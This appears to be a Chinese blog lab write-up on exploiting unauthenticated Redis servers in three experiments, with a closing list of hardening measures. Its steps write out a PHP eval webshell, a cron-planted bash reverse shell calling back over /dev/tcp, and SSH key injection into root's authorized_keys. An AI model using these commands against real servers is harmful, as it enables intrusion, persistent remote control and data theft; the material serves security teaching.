redis未授权访问-三个实验

发表于 2020-01-07  331 次阅读


逻辑漏洞之权限控制(Redis未授权访问)

实验目的

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。Redis因配置不当可以导致未授权访问,被攻击者恶意利用。本实验通过利用Redis的逻辑漏洞来实现信息获取、远程写入文件、反弹shell控制系统等。

实验原理

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

实验一:未授权访问写webshell实验步骤

第一步启动Redis实验环境

目标靶机切换到root后再运行:

redis-server --protected-mode no   #取消保护模式运行redis

第二步 在kali上连接未授权的redis服务

1.kali安装redis

(1)下载

wget http://download.redis.io/releases/redis-4.0.11.tar.gz

(2)解压

tar -zxvf redis-4.0.11.tar.gz

(3)切换目录:

cd redis-4.0.11

(4)编译

make 

(5)继续切换目录

cd src

(6)运行redis命令,连接docker上的redis服务器

 ./redis-cli -h 192.168.1.23

第三步 在kali上连接未授权的redis进行越权操作

敏感信息获取:输入info命令,可看到Redis的版本和服务器上内核版本信息

1、远程写入webshell

第一步:config set dir /var/www/html
第二步:config set dbfilename webshell.php
第三步:set x "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"   #实验实际使用了phpinfo
第四步:save  #注意,不执行save不会生成文件

靶机上查看,发现写入成功

靶机内使用cat webshell.php读取文件内容,发现内容串行,因此在写入内容时可前后用\n换行,避免和Redis里其他缓存数据混合。

实验完成。

实验二、未授权访问redis并利用cron反弹shell操作

在靶机使用root权限运行:

redis-server --protected-mode no

在攻击机测试一下是否是root权限启动,若以root权限启动,可以切换至root目录:

Config set dir /root

回显ok为正常

(2)kali上连接redis

./redis-cli -h IP
(3)kali上另外打开一个终端使用nc -lvvp 4444 监听4444端口

(4)kali上向/var/spool/cron/中写文件

第一步:config set dir /var/spool/cron

手输入一定要注意空格

第二步:set xxx "\n* * * * * bash -i >& /dev/tcp/192.168.0.128/4444 0>&1\n"
第三步:config set dbfilename root
第四步:save

反弹成功:

实验至此结束

实验三、利用reids未授权访问写入公钥进行免密ssh登陆。

前提条件:1、被攻击的服务器上支持公钥登陆(/etc/ssh/sshd_config内)

2、靶机的~/ .ssh #有这个.ssh的目录 。

3、靶机上 authorized_keys 的权限问题应该为600,可以使用cron任务计划来设置授权的authorized_keys权限为600:

echo -e "\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n"|redis-cli -h 192.168.1.23  -x set xxx
服务器支持公钥登陆
第一步:ssh-keygen -t rsa    # 在攻击者机器上创建秘钥
第二步: (echo -e “\n\n”;cat id_rsa.pub;echo -e “\n\n”) > key.txt #在/home/college/.ssh/目录下执行
第三步:./redis-cli -h 192.168.1.23 flushall  #清空redis数据库
第四步:cat /home/college/.ssh/key.txt | /home/college/redis-5.0.7/redis-cli -h 192.168.1.23 -x set xxx  #把公钥写入redis存储空间
第五步:./redis-cli -h 192.168.1.23 #连接到redis数据库
第六步:config set dir /home/college/.ssh/   # 切换至.ssh目录
第七步:config set dbfilename "authorized_keys"   # 公钥写入到 authorized_keys 文件
第八步:save   #保存
第九步:ssh 192.168.1.23  
# 打开新终端并使用ssh连接登陆,默认使用公钥登陆。

实验结束

思考与总结

Redis的安全配置策略有:

(1)修改redis.conf 文件,禁用远程修改 DB 文件地址;

(2)以低权限运行 Redis 服务;

(3)为Redis 添加密码验证;

(4)修改默认端口

(5)保证 authorized_keys 文件的安全

(6)设置防火墙策略

通过本次实验,成功实现了利用Redis的权限控制不当,远程连接Redis并进行一些越权操作。


专注于学习,生活,教育。